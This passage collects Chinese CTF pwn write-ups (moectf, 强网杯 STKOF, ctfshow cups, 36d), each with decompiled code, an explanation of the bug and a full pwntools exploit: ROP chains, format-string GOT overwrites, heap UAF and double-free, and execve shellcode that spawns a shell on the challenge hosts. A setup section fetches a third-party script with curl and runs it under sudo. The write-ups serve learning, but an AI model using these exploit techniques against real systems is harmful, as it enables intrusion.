env=os.environ, ) except Exception as e: print(f"[Error] {e}") except KeyboardInterrupt: print("[Info] Server stopped") finally: sock.close() print("[Info] Server closed") if __name__ == "__main__": import sys if len(sys.argv) == 2 and sys.argv[1] == "fork": del sys handle(input, print) else: daemon_main()查看启动文件，发现flag在/tmp目录下，文件名很长#!/bin/sh # FLAG="test{this_is_the_test_flag_and_never_be_used_in_production}" echo "$FLAG" > "/tmp/.therealflag_$(echo "$FLAG" | sha512sum)" unset FLAG FILE=$(which "$0") DIR=$(dirname "$FILE") export PYTHONPATH="$DIR:$PYTHONPATH" exec python "$DIR/main.py" "$@"直接cat /tmp/.*$ cd /tmp $ cat * cat: can't open '*': No such file or directory $ cat *. cat: can't open '*.': No such file or directory $ cat .* cat: read error: Is a directory cat: read error: Is a directory moectf{ah_H4-NoW-yOu_Know_hoW-T0_esc4PE_sImpIe-STrIng_Fl1ter0}
强网杯2019 拟态 STKOF之前一直被这道题的拟态吓唬住，深知web的拟态有多恶心，就一直没有鼓起勇气去做这个题。这道题在buu中没有难度，只要任意一个程序打通了就能getshell。静态分析。两个程序是用一段源代码分别用32位和64位编译的静态程序，反编译的伪c代码是一样的。main函数int __cdecl main(int argc, const char **argv, const char **envp) { __int64 v3; // rdx puts("Welcome to QWB", argv, envp); puts("We give you a little challenge, try to pwn it?", argv, v3); vul(); return 0; }vul函数__int64 vul() { __int64 v0; // rdx char buf[272]; // [rsp+0h] [rbp-110h] BYREF setbuf(stdin, 0LL); setbuf(stdout, 0LL); j_memset_ifunc(buf, 0LL, 256LL); read(0, buf, 0x300uLL); return puts(buf, buf, v0); }该程序存在栈溢出有着丰富的空间去构造各种ROP，而且两个程序的溢出点是一样的。动态分析。在这里简单的说一下拟态防护的原理。两个能够运行一样功能，但内部构造不同的程序，接受同一段数据流，并要求两个程序的返回结果是一样的才能输出返回结果，如果不一样则报错退出。但这里很明显两个程序基地址都是不一样的，一样的ROP链在这里肯定是行不通的，所以要将两条ROP链分开执行。分开执行就要找到这两个程序在执行时不同的地方。首先32位程序的一个地址为4字节，而64位的一个地址为8字节，我们可以通过这个原理来将两条ROP链分开，达到一条ROP链分开执行的效果。如图所示。根据图片看出，32位的返回地址是64位的rbp内的一部分。可以通过这个将rsp/esp跳到栈不同的位置来执行不同的ROP。先利用ROP_gadget寻找一下add rsp/esp,xx;ret的地址。0x000000000044a699 : add rsp, 0x148 ; ret 0x0000000000414ef8 : add rsp, 0x18 ; ret 0x000000000043b749 : add rsp, 0x28 ; ret 0x0000000000461f85 : add rsp, 0x38 ; ret 0x000000000046d438 : add rsp, 0x48 ; ret 0x000000000043b979 : add rsp, 0x58 ; ret 0x000000000043b86b : add rsp, 0x68 ; ret 0x0000000000461d30 : add rsp, 0x78 ; ret 0x000000000040cd17 : add rsp, 0x80 ; ret 0x00000000004079d4 : add rsp, 0xd8 ; ret 0x0000000000400412 : add rsp, 8 ; ret0x080a8f66 : add esp, 0x10 ; add esp, 0xc ; ret 0x0804f095 : add esp, 0x1c ; ret 0x080a69f2 : add esp, 0x20 ; ret 0x0804991a : add esp, 0x2c ; ret 0x080a8f69 : add esp, 0xc ; ret跳往不同栈地点的地址都已经找到，找一些跨度大的地址，将不同的ROP隔开，剩下的就是简单去构造各种getshell的ROP链。exp如下。#!/usr/bin/env python # coding=utf-8 from pwn import * local = 0 if local == 1: r=process('./pwn32') gdb.attach(r,"b * 0x0804892E") elif local == 2: r=process('./pwn64') gdb.attach(r,"b * 0x400B32") else: r = remote('node4.buuoj.cn',26028) libc = ELF('./libc-2.23.so') elf32=ELF('./pwn32') elf64=ELF('./pwn64') addrspd8 = 0x4079d4 movrdxrax = 0x40e9e7 movrdirdx = 0x427913 raxrdxrbx = 0x46d236 rdi = 0x4005f6 rsi = 0x405895 bss64 = 0x006a3900 syscall = 0x4011dc addesp1c = 0x0804f095 eax = 0x080a8af6 edxecxebx = 0x0806e9f1 moveaxedx = 0x0809ccf4 eaxedxebx = 0x08055f54 bss32 = 0x080da700 int80 = 0x080495a3 r.send(cyclic(272-4)+p32(1919)+p32(1919)+p32(0)+p64(addrspd8)+cyclic(16)+p32(eaxedxebx)+p32(bss32)+'/bin'+p32(0)+p32(moveaxedx)+p32(eaxedxebx)+p32(bss32+4)+'/sh\x00'+p32(0)+p32(moveaxedx)+p32(eax)+p32(0xb)+p32(edxecxebx)+p32(0)+p32(0)+p32(bss32)+p32(int80)+cyclic(132)+p64(raxrdxrbx)+'/bin/sh\x00'+p64(bss64)+p64(0)+p64(movrdxrax)+p64(rdi)+p64(bss64)+p64(rsi)+p64(0)+p64(raxrdxrbx)+p64(0x3b)+p64(0)+p64(0)+p64(syscall)) r.interactive()
ctfshow 吃鸡杯 pwn writeupwin_pwn这道题严格意义来说是一道逆向题。main()存在栈溢出int __cdecl main(int argc, const char **argv, const char **envp) { int result; // eax char v4; // [esp+16h] [ebp-AAh] char v5; // [esp+BFh] [ebp-1h] __main(); v5 = 1; puts("Please input your name:"); fflush(&__iob[1]); scanf("%s", &v4); if ( v5 ) result = printf("Your level is not admin"); else result = DangerFunc(&v4); if ( argc != 1 ) exit(0); return result; }如果v5里边有内容，则退出。程序在开始时v5=1，所以必须通过溢出覆盖掉v5才能执行DangerFunc()函数。int __cdecl DangerFunc(char *a1) { int v2; // [esp+18h] [ebp-30h] getflag(a1, (int)&v2); puts("###########################################################################"); puts("###########################################################################"); printf("\t\tflag{%s}\t\t\t\n", &v2); puts("###########################################################################"); puts("###########################################################################"); fflush(&__iob[1]); return system("c:\\Windows\\System32\\cmd.exe"); }DangerFunc()内的getflag()要求其第一个参数内的前168位不能为0。int __cdecl getflag(char *a1, int a2) { size_t v2; // eax int v3; // eax int result; // eax int v5; // [esp+10h] [ebp-88h] char v6; // [esp+68h] [ebp-30h] char v7[32]; // [esp+6Ch] [ebp-2Ch] int i; // [esp+8Ch] [ebp-Ch] for ( i = 0; i <= 168; ++i ) { if ( !a1[i] ) { puts("Do not input '\\0'!"); exit(0); } } v2 = strlen(a1); itoa(v2 + 16, &v6, 10); MD5Init(&v5); v3 = strlen(&v6); MD5Update((int)&v5, &v6, v3); result = MD5Final(&v5, v7); for ( i = 0; i <= 15; ++i ) result = sprintf((char *)(2 * i + a2), "%02x", (unsigned __int8)v7[i]); return result; }所以该题解题方法为输入大量的垃圾字符，在0x0402473处下断点，将esp+0xBF内的内容改为0即可获得flag。easy_canarymain()函数里面的rand()的seed固定是0，所以其生成的随机数也是固定的，达成条件后进入something。int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [rsp+4h] [rbp-Ch] unsigned int seed; // [rsp+8h] [rbp-8h] int v6; // [rsp+Ch] [rbp-4h] menu(*&argc, argv, envp); seed = 0; v4 = 0; srand(0); v6 = 0; puts("input your lucky number:"); gets(&v4); v6 = rand(); if ( v4 == v6 ) { while ( seed <= 1 ) { something(); putchar(10); ++seed; } } return 0; }something()函数存在栈溢出和格式化字符串漏洞。__int64 something() { char buf; // [rsp+0h] [rbp-50h] unsigned __int64 v2; // [rsp+48h] [rbp-8h] v2 = __readfsqword(0x28u); memset(&buf, 0, 0x40uLL); read(0, &buf, 0x68uLL); printf(&buf, &buf); return 0LL; }但是存在canary保护，所以需要泄露canary和libc，由于溢出只有两个地址的位置，但执行完ret时rax为0，所以有合适的one_gadget可以直接进行跳转。#!/usr/bin/env python # coding=utf-8 from pwn import * context.arch = 'amd64' local = 0 if local == 1: r=process('./pwn1') gdb.attach(r,"b * $rebase(0xB0D)") libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') lsmr = 0x020840 ogg = 0x45226 else: r = remote('pwn.challenge.ctf.show',28029) libc = ELF('./libc_64.so') lsmr = 0x020830 ogg = 0x45216 elf=ELF('./pwn1') r.recvuntil('number:') r.sendline(p32(0x6b8b4567)+'\x00'*4+cyclic(4)+'\x00'*7) sleep(1) r.sendline('%21$p%25$p%15$p') r.recvuntil('\n') libc_addr = int(r.recv(14),16)-lsmr pie = int(r.recv(14),16)-elf.symbols['main'] canary = int(r.recv(18),16) log.success('libc_addr:'+hex(libc_addr)) log.success('pie:'+hex(pie)) log.success('canary:'+hex(canary)) r.sendline(cyclic(72)+p64(canary)+p64(0xdeadbeef)+p64(libc_addr+ogg)) r.interactive()ezheap查看menu()函数存在如下功能。int menu() { puts("--------------------------------"); puts(" w0odpeck3r's Nest "); puts("--------------------------------"); puts(" 1. Build a Nest "); puts(" 2. Decorate a Nest "); puts(" 3. Show a Nest "); puts(" 4. Crash a Nest "); puts(" 5. Leave the tree "); puts("--------------------------------"); return printf("Your choice :"); }buildnest()函数为先生成一个0x10的堆块，输入大小，再生成一个指定大小的堆块。并将大小和堆地址存入最开始的堆块内。unsigned __int64 buildnest() { _QWORD *v0; // rbx signed int i; // [rsp+4h] [rbp-2Ch] size_t size; // [rsp+8h] [rbp-28h] char buf; // [rsp+10h] [rbp-20h] unsigned __int64 v5; // [rsp+18h] [rbp-18h] v5 = __readfsqword(0x28u); for ( i = 0; i <= 9; ++i ) { if ( !nests[i] ) { nests[i] = malloc(0x10uLL); if ( !nests[i] ) { puts("Nope.something wrong.."); exit(1); } printf("how big is the nest ?"); read(0, &buf, 8uLL); size = atoi(&buf); v0 = nests[i]; v0[1] = malloc(size); if ( !*(nests[i] + 1) ) { puts("Nope.something wrong.."); exit(2); } *nests[i] = size; printf("what stuff you wanna put in the nest?", &buf); myread(*(nests[i] + 1), size); puts("Thx buddy."); return __readfsqword(0x28u) ^ v5; } } return __readfsqword(0x28u) ^ v5; }decoratenest()函数存在off by one。unsigned __int64 decoratenest() { int v1; // [rsp+Ch] [rbp-14h] char buf; // [rsp+10h] [rbp-10h] unsigned __int64 v3; // [rsp+18h] [rbp-8h] v3 = __readfsqword(0x28u); printf("Index :"); read(0, &buf, 4uLL); v1 = atoi(&buf); if ( v1 < 0 || v1 > 9 ) { puts("OOB!My Boy!"); _exit(0); } if ( nests[v1] ) { printf("what stuff you wanna put in the nest?", &buf); myread(*(nests[v1] + 1), *nests[v1] + 1LL); puts("Done !"); } else { puts("No such nest !"); } return __readfsqword(0x28u) ^ v3; }shownext()函数输出指定堆块的第二个地址。unsigned __int64 shownest() { int v1; // [rsp+Ch] [rbp-14h] char buf; // [rsp+10h] [rbp-10h] unsigned __int64 v3; // [rsp+18h] [rbp-8h] v3 = __readfsqword(0x28u); printf("Index :"); read(0, &buf, 4uLL); v1 = atoi(&buf); if ( v1 < 0 || v1 > 9 ) { puts("OOB!My Boy!"); _exit(0); } if ( nests[v1] ) { printf("Size : %ld\nDecorations : %s\n", *nests[v1], *(nests[v1] + 1)); puts("Done !"); } else { puts("No such nest !"); } return __readfsqword(0x28u) ^ v3; }crash_nest()为先释放指定堆块的第二个地址，然后释放该堆块。unsigned __int64 crash_nest() { int v1; // [rsp+Ch] [rbp-14h] char buf; // [rsp+10h] [rbp-10h] unsigned __int64 v3; // [rsp+18h] [rbp-8h] v3 = __readfsqword(0x28u); printf("Index :"); read(0, &buf, 4uLL); v1 = atoi(&buf); if ( v1 < 0 || v1 > 9 ) { puts("OOB!My Boy!"); _exit(0); } if ( nests[v1] ) { free(*(nests[v1] + 1)); free(nests[v1]); nests[v1] = 0LL; puts("Now another w0odpeck3r lost his house :（"); } else { puts("No such nest !"); } return __readfsqword(0x28u) ^ v3; }先申请三次，总共有6个堆块。利用off by one修改第0个堆块。溢出修改第1个堆块大小为0x41，然后释放掉第1个那两个堆块。再申请0x38大小的堆块，这样就重复获得刚才的两个堆块。并出现堆块重叠，利用uaf修改堆指针为free_got，泄露free()的真实地址并修改为system()的地址。getshell。#!/usr/bin/env python # coding=utf-8 from pwn import * context.arch = 'amd64' local = 0 if local == 1: r=process('./ezheap') gdb.attach(r,"b * menu") libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: r = remote('pwn.challenge.ctf.show',28081) libc = ELF('libc-2.27.so') elf=ELF('./ezheap') def add(size,content): r.recvuntil('choice :') r.sendline('1') r.recvuntil('nest ?') r.sendline(str(size)) r.recvuntil('nest?') r.send(str(content)) def write(index,content): r.recvuntil('choice :') r.sendline('2') r.recvuntil('Index :') r.sendline(str(index)) r.recvuntil('nest?') r.send(str(content)) def dele(index): r.recvuntil('choice :') r.sendline('4') r.recvuntil('Index :') r.sendline(str(index)) def show(index): r.recvuntil('choice :') r.sendline('3') r.recvuntil('Index :') r.sendline(str(index)) add(0x18,'a'*0x18) add(0x18,'b'*0x8) add(0x48,'c'*0x8) add(0x48,'d'*0x8) write(0,'e'*0x18+'\x41') dele(1) add(0x38,'f'*0x18+p64(0x21)+p64(0x880)+'\xe0') write(1,p64(0x88)+p64(elf.got['free'])) show(2) r.recvuntil('Decorations : ') free = u64(r.recv(6)+'\x00\x00') log.success('free:'+hex(free)) libc_addr = free - libc.symbols['free'] system = libc_addr + libc.symbols['system'] write(2,p64(system)) write(1,'/bin/sh\x00') dele(1) r.interactive()
CTFSHOW月饼杯2021 pwn wp简单的胖main()函数中有明显的栈溢出漏洞，但是该题难点在于目标环境是libc2.27，新版本libc2.27如果printf()堆栈不平衡会报错，setvbuf()函数重复初始化stdin和stdout也会报错。int __cdecl main(int argc, const char **argv, const char **envp) { int v3; // eax char buf[28]; // [rsp+0h] [rbp-20h] int v6; // [rsp+1Ch] [rbp-4h] setvbuf(_bss_start, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); printf("What's your name? ", 0LL); v3 = read(0, buf, 0x100uLL); v6 = v3; buf[v3 - 1] = 0; printf("Welcome to the CTFshow Moon cake cup! %s!\n", buf); return 0; }所有栈溢出后需要跳过setvbuf()并利用call printf，来调用printf()函数泄露libc，由于该程序利用rbp来寻找栈，还需要将栈迁移到bss段上。再栈迁移后，堆栈平衡已经炸了，但是bss段上到处都是0，可以利用one_gadget来getshell。#!/usr/bin/env python # coding=utf-8 from pwn import * context.arch = 'amd64' local = 0 if local == 1: r=process('./pwn01') gdb.attach(r,"b * 0x400690") else: r = remote('pwn.challenge.ctf.show',28036) elf=ELF('./pwn01') rdi = 0x400703 callpritf = 0x400647 r.sendline(cyclic(0x20)+p64(0x00601300)+p64(rdi)+p64(elf.got['__libc_start_main'])+p64(callpritf)) r.recvuntil('gaaa') r.recv(3) lsmr = u64(r.recv(6)+'\x00\x00') log.success('lsmr:'+hex(lsmr)) libc_addr = lsmr - 0x021ab0 system = libc_addr + 0x04f440 binsh = libc_addr + 0x1b3e9a ogg = libc_addr + 0x4f322 r.sendline(cyclic(0x20)+p64(0xdeadbeef)+p64(ogg)) r.interactive()容易的胖main()函数开始让你输入一段shellcode。然后第二次输入需要触发strcmp(&s, "yes\n")才能避免exit()。int __cdecl main(int a1) { char s; // [esp+0h] [ebp-18h] int *v3; // [esp+10h] [ebp-8h] v3 = &a1; sub_80485A6(); memset(&s, 0, 0x10u); memset(::s, 0, 0x100u); puts("Input your shellcode"); fgets(::s, 256, stdin); puts("Do you know how to use shellcode????"); read(0, &s, 0x14u); if ( strcmp(&s, "yes\n") ) { puts("you may be need learn it"); exit(0); } puts("ok,good"); return 0; }由于i386的main()函数平栈方式为外平栈模式，其ret的方式与内平栈有一些区别。.text:080486F7 pop ecx .text:080486F8 pop ebx .text:080486F9 pop ebp .text:080486FA lea esp, [ecx-4] .text:080486FD retn这里控制ecx就可以控制程序走向。只需要让ecx+4存储的地址为可控的地址，然后在该地址存储想要跳到的地址，即可控制执行流，刚巧shellcode所在的地方为全局变量，地址固定，所以构造shellcode前面加上shellcode+4的地址，就能够跳到shellcode上执行shellcode。#!/usr/bin/env python # coding=utf-8 from pwn import * context.arch = 'i386' local = 0 if local == 1: r=process('./pwn02') gdb.attach(r,"b * 0x080486F9") else: r = remote('pwn.challenge.ctf.show',28062) elf=ELF('./pwn02') shellcode = p32(0x804A040+4)+"\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80" r.recvuntil('shellcode') r.sendline(shellcode) r.recvuntil('shellcode') r.send('yes\n\x00'+cyclic(11)+p32(0x804A040+4)) r.interactive()Moon_noteuaf和double free打混合拳，触发需要条件，构造有一点点麻烦。menu()函数发现该程序有如下功能。__int64 menu() { puts("1. Create note"); puts("2. Write content"); puts("3. Show content"); puts("4. Delete note"); printf("Choice: "); return getint(); }create_note()函数为限制生成30多个堆，每次申请一个0x28大小的堆块。内容为填入一个标题。__int64 create_note() { _QWORD *v0; // ST08_8 if ( size > 79 ) puts("Too many notes"); v0 = malloc(0x28uLL); printf("Title: "); getnline(v0, 16LL); v0[3] = &head; v0[2] = qword_202090; *(_QWORD *)(qword_202090 + 24) = v0; qword_202090 = (__int64)v0; return (unsigned int)(size++ + 1); }write_content()函数为根据create_note()函数的标题来生成一个小于80字节大小的堆块，地址存放在create_note()函数生成堆块的末尾8字节处。unsigned __int64 write_content() { signed int v1; // [rsp+4h] [rbp-2Ch] __int64 v2; // [rsp+8h] [rbp-28h] char v3; // [rsp+10h] [rbp-20h] unsigned __int64 v4; // [rsp+28h] [rbp-8h] v4 = __readfsqword(0x28u); printf("Title of note to write content: "); getnline(&v3, 16LL); v2 = find_note(&v3, 16LL); if ( v2 ) { if ( *(_QWORD *)(v2 + 32) ) { puts("You have already written content"); } else { printf("Size of content: "); v1 = getint(); if ( v1 > 0 && v1 <= 80 ) { *(_QWORD *)(v2 + 32) = malloc(v1); printf("Content: "); getnline(*(_QWORD *)(v2 + 32), (unsigned int)v1); } else { puts("Too big"); } } } return __readfsqword(0x28u) ^ v4; }show_content()函数为根据create_note()函数标题寻找write_note()的地址，并输出出来。unsigned __int64 show_content() { __int64 v1; // [rsp+8h] [rbp-28h] char v2; // [rsp+10h] [rbp-20h] unsigned __int64 v3; // [rsp+28h] [rbp-8h] v3 = __readfsqword(0x28u); printf("Title of note to show content: "); getnline(&v2, 16LL); v1 = find_note(&v2, 16LL); if ( v1 && *(v1 + 32) ) puts(*(v1 + 32)); return __readfsqword(0x28u) ^ v3; }delete_note()函数存在uaf，不过需要堆块重新申请回来才能利用。可以利用write_note()来申请一个堆块，再末尾加上想泄露的地址或想释放的堆块地址，由于malloc()申请堆块不会清空内容，这样create_note()的堆块末尾的地址就可以用于构造uaf任意地址读和double free。unsigned __int64 delete_note() { void *ptr; // [rsp+8h] [rbp-28h] char v2; // [rsp+10h] [rbp-20h] unsigned __int64 v3; // [rsp+28h] [rbp-8h] v3 = __readfsqword(0x28u); printf("Title of note to delete: "); getnline(&v2, 16LL); ptr = find_note(&v2, 16LL); if ( ptr ) { *(*(ptr + 2) + 24LL) = *(ptr + 3); *(*(ptr + 3) + 16LL) = *(ptr + 2); free(*(ptr + 4)); free(ptr); --size; } return __readfsqword(0x28u) ^ v3; }exp如下#!/usr/bin/env python # coding=utf-8 from pwn import * context.arch = 'i386' local = 0 if local == 1: r=process('./Moon_note') gdb.attach(r,"b * $rebase(menu)") else: r = remote('pwn.challenge.ctf.show',28080) elf=ELF('./Moon_note') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') def add(title): r.recvuntil('Choice:') r.sendline('1') r.recvuntil('Title:') r.sendline(str(title)) def write(index,size,content): r.recvuntil('Choice:') r.sendline('2') r.recvuntil('content:') r.sendline(str(index)) r.recvuntil('content:') r.sendline(str(size)) r.recvuntil('Content:') r.sendline(content) def dele(title): r.recvuntil('Choice:') r.sendline('4') r.recvuntil('delete:') r.sendline(str(title)) def show(title): r.recvuntil('Choice:') r.sendline('3') r.recvuntil('content:') r.sendline(str(title)) add('1') write('1',0x28,'a'*0x20) add('2') add('3') add('4') write('3',0x28,'c'*0x2) dele(3) dele('1') write('2',0x38,'b'*0x2) add('5') show('5') r.recvuntil(' ') heap = u64(r.recv(6)+'\x00\x00') log.success('heap:'+hex(heap)) dele('2') write('4',0x28,'c'*0x20+p64(heap-0x80)) dele('4') add('7') add('8') add('9') show('8') r.recvuntil(' ') pie = u64(r.recv(6)+'\x00\x00')-0x202080 log.success('pie:'+hex(pie)) add('10') add('11') dele('5') write('11',0x28,'c'*0x20+p64(pie+elf.got['__libc_start_main'])) dele('11') add('12') add('13') show('13') r.recvuntil(' ') libc_start_main = u64(r.recv(6)+'\x00\x00') log.success('libc_start_main:'+hex(libc_start_main)) libc_addr = libc_start_main - libc.symbols['__libc_start_main'] system = libc_addr + libc.symbols['system'] free_hook = libc_addr + libc.symbols['__free_hook'] add('/bin/sh') add('15') add('16') add('17') add('18') dele('16') write('15',0x28,'d'*0x20+p64(heap+0x160)) dele('15') add('19') add('20') dele('18') dele('20') add('22') add(p64(free_hook)) write(p64(free_hook),0x28,'eeeeeeee') add(p64(system)) dele('/bin/sh') r.interactive()
快速搭建一个pwn环境 python2由于新版pwntools默认对接的是py3，但是大多数师傅还是习惯用py2来编写exp。而且py2和py3有着较大差异、脚本不能互通，且主流写法仍然是py2的语法。本教程不适用于ubuntu18，快速安装会导致libc2.27更新，添加double free检测，导致堆环境偏差过大，该版本建议找已经搭好了的师傅索要一份。更换国内源在ubuntu内搜索software & update,在源中找到other选项，找到国内源，挑一个自己喜欢的。之后执行。sudo apt-get update sudo apt update安装基础环境sudo apt-get install lib32z1 lib32ncurses5 git sudo apt-get install -y libffi-dev libssl-dev sudo apt install python #新版本ubuntu可能不会集成py2，而且不能通过python-dev来获取安装pip2pip2不在apt库内，只能手动安装。get-2.7.pipcurl http://www.ericdshen.com/2.7get-pip.py >2.7get-pip.py sudo python 2.7get-pip.py安装pwntoolspython -m pip install -U setuptools -i https://pypi.tuna.tsinghua.edu.cn/simple/ python -m pip install cryptography==2.4.2 -i https://pypi.tuna.tsinghua.edu.cn/simple/ python -m pip install pwntools -i https://pypi.tuna.tsinghua.edu.cn/simple/安装pedagit clone https://github.com/longld/peda.git ~/peda echo "source ~/peda/peda.py" >> ~/.gdbinit至此一个简单的pwn环境就搭好了，如有其它需求可自行添加。
36d pwn wp签到这题环境有问题，nc连上就是shell，但是目标机会丢失空格，任何形式的空格都不行。留一个本地exp。#!/usr/bin/env python # coding=utf-8 from pwn import * #context.log_level = 'debug' local = 0 if local == 1: r=process('./qiandao') #gdb.attach(r,'b * malloc') gdb.attach(r,'b * 0x400662') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: r=remote('111.231.70.44',28027) #libc = ELF('./libc6_2.27-3ubuntu1_amd64.so') elf = ELF('./qiandao') rdi = 0x4006d3 system = elf.symbols['system'] gets = elf.symbols['gets'] bss = 0x602100 rsi15 = 0x4006d1 r.sendline('a'*(0x28)+p64(0xdeadbeef)+p64(rdi)+p64(bss)+p64(gets)+p64(rdi)+p64(bss)+p64(system)) r.sendline('/bin/sh') r.interactive()babyFmtstr用ida加载，打开main()函数如下所示。__int64 __fastcall main(__int64 a1, char **a2, char **a3) { FILE *v3; // rdi char *ptr; // ST08_8 void *v5; // ST10_8 setbuf(stdin, 0LL); v3 = stdout; setbuf(stdout, 0LL); ptr = sub_400D0A(); v5 = sub_400DA0(v3, 0LL); printf("your motto is \"%s\"\n", v5); free(ptr); free(v5); return 0LL; }跟进sub_400D0A()发现存在格式化字符串漏洞。char *sub_400D0A() { char *v0; // ST08_8 char s; // [rsp+10h] [rbp-40h] unsigned __int64 v3; // [rsp+48h] [rbp-8h] v3 = __readfsqword(0x28u); sleep(0); puts("please input name:"); sub_400BF5(&s, 50LL); v0 = strdup(&s); printf("Hello ", sleep); printf(&s); return v0; }函数执行完事后会进入sub_400DA0()函数内。char *sub_400DA0() { _QWORD *v0; // rax __int64 v2; // [rsp+0h] [rbp-420h] char *v3; // [rsp+8h] [rbp-418h] char s; // [rsp+10h] [rbp-410h] unsigned __int64 v5; // [rsp+418h] [rbp-8h] v5 = __readfsqword(0x28u); puts("please input size of motto:"); v2 = sub_400CA0("please input size of motto:"); if ( v2 < 0 ) v2 = -v2; if ( v2 > 1024 ) v2 = 1024LL; puts("please input motto:"); sub_400BF5(&s, v2); v3 = strdup(&s); if ( sub_400B96(&s, v2) ^ 1 ) { v0 = __cxa_allocate_exception(8LL); *v0 = "The format of motto is error!"; __cxa_throw(v0, &typeinfo for'char const*, 0LL); } return v3; }攻击思路是利用格式化字符串漏洞，修改strdup()函数的GOT为printf()函数的PLT并泄露__libc_start_main_ret，第二次调用strdup()函数时会调用printf()函数，再次利用格式化字符串漏洞修改printf()函数的GOT为one_gadet地址，最后回到main()函数时调用printf()函数触发one_gadgetgetshell。exp如下。#!/usr/bin/env python # coding=utf-8 from pwn import * #context.log_level = 'debug' local = 1 if local == 1: r=process('./babyfmtstr') gdb.attach(r,'b * 0x0400e31') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: r=remote('111.231.70.44',28041) libc = ELF('./libc6_2.23-0ubuntu11_amd64.so') elf = ELF('./babyfmtstr') strdup_got = elf.got['strdup'] free_got = elf.got['free'] printf_got = elf.got['printf'] cxa_allocate_exception_got = elf.got['__cxa_allocate_exception'] r.recvuntil('name:') #r.sendline('aaaaaaaa%8$p') r.sendline('%25$p%50c%12$n%2368c%13$hn'+cyclic(6)+p64(strdup_got+2)+p64(strdup_got)) r.recvuntil('Hello ') lsmr = int(r.recv(14),16) log.success('libc_start_main_ret:'+hex(lsmr)) r.recvuntil('motto:') r.sendline('1024') r.recvuntil('motto:') if local == 1: lsmrp = 0x020840 else: lsmrp = 0x020830 libc_addr = lsmr - lsmrp if local == 1: ogg = 0x45226+libc_addr else: ogg = 0x45216+libc_addr log.success('libc_addr:'+hex(libc_addr)) ogglist = [ogg&0xffff,(ogg>>16)&0xffff,(ogg>>32)&0xffff] exp = "%"+str(ogglist[0])+'c%16$hn%'+str((ogglist[1]+0x10000-ogglist[0])%0x10000)+'c%17$hn' print len(exp) print exp exp+='\x00'*(64-len(exp))+p64(printf_got)+p64(printf_got+2)+p64(printf_got+4) r.sendline(exp) log.success('ogg:'+hex(ogg)) r.interactive()MagicString用ida加载,main()函数，存在gets()函数，还有system()函数，直接栈溢出一把梭。int __cdecl main(int argc, const char **argv, const char **envp) { char v4; // [rsp+0h] [rbp-2A0h] setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); system("echo Throw away ida pro!!! I want a girlfriend!"); gets(&v4, 0LL); return 0; }exp如下#!/usr/bin/env python # coding=utf-8 from pwn import * #context.log_level = 'debug' local = 1 if local == 1: r=process('./magicstring') #gdb.attach(r,'b * malloc') gdb.attach(r,'b * 0x04006CB') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: r=remote('111.231.70.44',28052) #libc = ELF('./libc6_2.27-3ubuntu1_amd64.so') elf = ELF('./magicstring') rdi = 0x400733 system = elf.symbols['system'] gets = elf.symbols['gets'] bss = 0x601300 rsi15 = 0x4006d1 r.sendline('a'*(0x2a0)+p64(0xdeadbeef)+p64(rdi)+p64(bss)+p64(gets)+p64(rdi)+p64(bss)+p64(system)) r.sendline('/bin/sh') r.interactive()MengxinStack用ida加载，发现main()函数似乎为很简单的栈溢出，但是做的时候发现我有些年轻了，这道题并没有那么的简单。int __cdecl main(int argc, const char **argv, const char **envp) { int v3; // ST0C_4 char buf; // [rsp+10h] [rbp-40h] unsigned __int64 v6; // [rsp+38h] [rbp-18h] v6 = __readfsqword(0x28u); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); puts("She said: hello?"); v3 = read(0, &buf, 0x100uLL) - 1; printf("%s", &buf); read(0, &buf, 0x100uLL); puts("You had me at hello."); return 0; }checksec了一下发现该题三保护全开,这使得我们不能直接泄露地址或者直接溢出攻击。/36d/mengxinstack' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled第一步先泄露canary,还附赠了一个栈地址（没啥用）。r.sendline(cyclic(40)) r.recvuntil('jaaa') canary = u64(r.recv(8))-0xa log.success('canary:'+hex(canary)) stack = u64(r.recv(6)+'\x00\x00') log.success('stack:'+hex(stack))第二步回到main()函数重新执行，由于暂时无法泄露PIE基址，不能直接回到main()函数上，但是当前函数为main()函数，他的返回地址是__libc_start_main_ret,可以通过修改__libc_start_main_ret的后两位，让该程序重新运行,只需要将跳转地址差在836前的任意一个有效地址，都可以重启程序。[-------------------------------------code-------------------------------------] 0x7f12d36ad7fc <__libc_start_main+172>: mov rax,QWORD PTR fs:0x300 0x7f12d36ad805 <__libc_start_main+181>: mov QWORD PTR [rsp+0x68],rax 0x7f12d36ad80a <__libc_start_main+186>: mov rax,QWORD PTR fs:0x2f8 0x7f12d36ad813 <__libc_start_main+195>: mov QWORD PTR [rsp+0x70],rax 0x7f12d36ad818 <__libc_start_main+200>: lea rax,[rsp+0x20] 0x7f12d36ad81d <__libc_start_main+205>: mov QWORD PTR fs:0x300,rax 0x7f12d36ad826 <__libc_start_main+214>: mov rax,QWORD PTR [rip+0x3a368b] # 0x7f12d3a50eb8 0x7f12d36ad82d <__libc_start_main+221>: mov rsi,QWORD PTR [rsp+0x8] 0x7f12d36ad832 <__libc_start_main+226>: mov edi,DWORD PTR [rsp+0x14] => 0x7f12d36ad836 <__libc_start_main+230>: mov rdx,QWORD PTR [rax] 0x7f12d36ad839 <__libc_start_main+233>: mov rax,QWORD PTR [rsp+0x18] 0x7f12d36ad83e <__libc_start_main+238>: call rax [------------------------------------stack-------------------------------------]if local ==1: r.send(cyclic(40)+p64(canary)+p64(0xdeadbeef)+cyclic(16)+'\x13') else: r.send(cyclic(40)+p64(canary)+p64(0xdeadbeef)+cyclic(16)+'\x03')重新执行程序后回到main()函数。第二次输出泄露libc并计算one_gadget地址。r.send(cyclic(72)) r.recvuntil('raaa') lsmr = u64(r.recv(6)+'\x00\x00') if local == 1: lsmrp = 0x020840 else: lsmrp = 0x020830 libc_addr = lsmr - lsmrp log.success('libc_addr:'+hex(libc_addr)) if local 